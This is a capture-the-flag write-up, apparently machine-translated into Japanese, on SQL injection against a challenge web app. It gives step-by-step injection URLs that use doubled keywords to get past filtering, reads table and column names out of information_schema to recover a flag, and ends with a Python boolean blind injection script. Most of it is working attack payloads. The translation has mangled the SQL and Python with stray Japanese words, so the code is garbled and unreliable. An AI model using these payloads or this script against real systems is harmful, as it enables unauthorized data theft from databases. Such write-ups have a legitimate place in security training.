この記事では、SQLインジェクションのステップマニュアル+アイデアで、スクリプトをブラインド。
http://123.206.87.240:9004/1ndex.php?id=1
http://123.206.87.240:9004/1ndex.php?id=1 " エラー
http://123.206.87.240:9004/1ndex.php?id=1'--+ 通常存在注入
http://123.206.87.240:9004/1ndex.php?id=1「1 = 1 - + 誤差、濾過し、
http://123.206.87.240:9004/1ndex.php?id=1 ^(長さ( 'と')!= 0)^」
フィルタ処理していると判断されたか、労働組合を選択星フィルタ長を使用します
http://123.206.87.240:9004/1ndex.php?id=1「2本のによってoorrder - + 通常のライトバイパスビス
+ - 3によるhttp://123.206.87.240:9004/1ndex.php?id=1「oorrder 2つのライブラリーの存在与えられました
http://123.206.87.240:9004/1ndex.php?id=1「1 = 2 uunionnionがsselectelect aandnd + - 1,2 ノーマルエコー第2
2位に注入されます
http://123.206.87.240:9004/1ndex.php?id=1' )uunionnionのsselectelect 1、データベース(1 = 2 aandnd - +
データベース名web1002-1
+ - http://123.206.87.240:9004/1ndex.php?id=1' は、TABLE_SCHEMA =データベース()infoorrmation_schema.tablesからGROUP_CONCAT(TABLE_NAME)を1 = 2 uunionnionのsselectelect 1 aandnd
表のFLAG1、ヒント
123.206.87.240:9004/1ndex.php?id=1' aandnd 1 = 2 infoorrmation_schema.columnsからuunionnionのsselectelect 1、GROUP_CONCAT(COLUMN_NAME)ここTABLE_NAME = 'FLAG1' - +
フィールドFLAG1、アドレス
http://123.206.87.240:9004/1ndex.php?id=1' FLAG1からuunionnionのsselectelect 1、GROUP_CONCAT(FLAG1)1 = 2 aandnd - +
FLAG1内容:usOwycTju + FTUUzXosjr人口は2つのフラグ小文字があると言って資格を与えないことが判明しました
http://123.206.87.240:9004/1ndex.php?id=1' FLAG1からuunionnionのsselectelect 1、GROUP_CONCAT(アドレス)1 = 2 aandnd - +
次のレベルへのアドレスの内容は、次のレベルにアドレスをクリック:http://123.206.87.240:9004/Once_More.php?id=1
http://123.206.87.240:9004/Once_More.php?id=1 " エラー
http://123.206.87.240:9004/Once_More.php?id=1「 - + 通常存在注入
+ - 2によるhttp://123.206.87.240:9004/Once_More.php?id=1「オーダー ノーマル
+ - 3によるhttp://123.206.87.240:9004/Once_More.php?id=1「オーダー 2つのライブラリーの存在与えられました
http://123.206.87.240:9004/Once_More.php?id=1 '^(長さ('組合 ')!= 0)^' 通常の労働組合を濾過し、
http://123.206.87.240:9004/Once_More.php?id=1「1 = 2 uunionnion選択 1,2 - + ビス書き込みを迂回することはできません
http://123.206.87.240:9004/Once_More.php?id=1「と1 = 2・ユニオンを選択し 、1,2 - + 場合はバイパスすることができません
http://123.206.87.240:9004/Once_More.php?id=1 '^(長さ('睡眠 ')!= 0)^' 正常な睡眠は、フィルタSUBSTRによってフィルタリングされます
戻り値は、別のスクリプトをBoolブラインドを作成しようとエラーを修正するので、
輸入SYSの インポート要求 から BS4の輸入BeautifulSoupの 輸入再 URL_START = " http://123.206.87.240:9004/Once_More.php?' SQLDB = " ID = 1'と中間(データベース()、{0}、1)= {1}' - + "
sqltb = " ID = 1'と中間((INFORMATION_SCHEMAからGROUP_CONCAT(TABLE_NAME)を選択します。テーブルTABLE_SCHEMA =データベース()){0}、1)= {1} ' - + " SQLTEST = " ID = 1' FLAG2及び中間TABLE_NAME = information_schema.columnsから((GROUP_CONCAT(COLUMN_NAMEを選択)' ')、{0}、1)= {1}= " ID = 1'と中間((FLAG2からFLAG2を選択)、{0}、1)= {1} ' - + " DEF Brup(SQL): 名 = '' のための I における範囲(1,40 ) のために CH で範囲(32129 ): もし CH == 128 : sys.exit(0) ペイロード = SQL.format(I、CHR(CH)) url_all = URL_START + ペイロード #1 プリント(url_all) HTML = requests.get( url_all) スープ = BeautifulSoup(html.content、' html.parser ' ) 結果 = soup.find_all(テキスト= ' こんにちは、私はここにいる!' ) #判断列表是否为空 場合lenは(結果): 名 + = CHR(CH) 、印刷(' 名:' + 名前) ブレーク の場合 __name__ == ' __main__ ' : #Brup(SQLDB) #Brup(sqltb) #Brup(SQLTEST) Brup(SQLFLAG) #のテーブル名:クラス、FLAG2 #注意:首都、フラグすべて小文字のために実行されています。
usOwycTju + FTUUzXosjr
web1002-1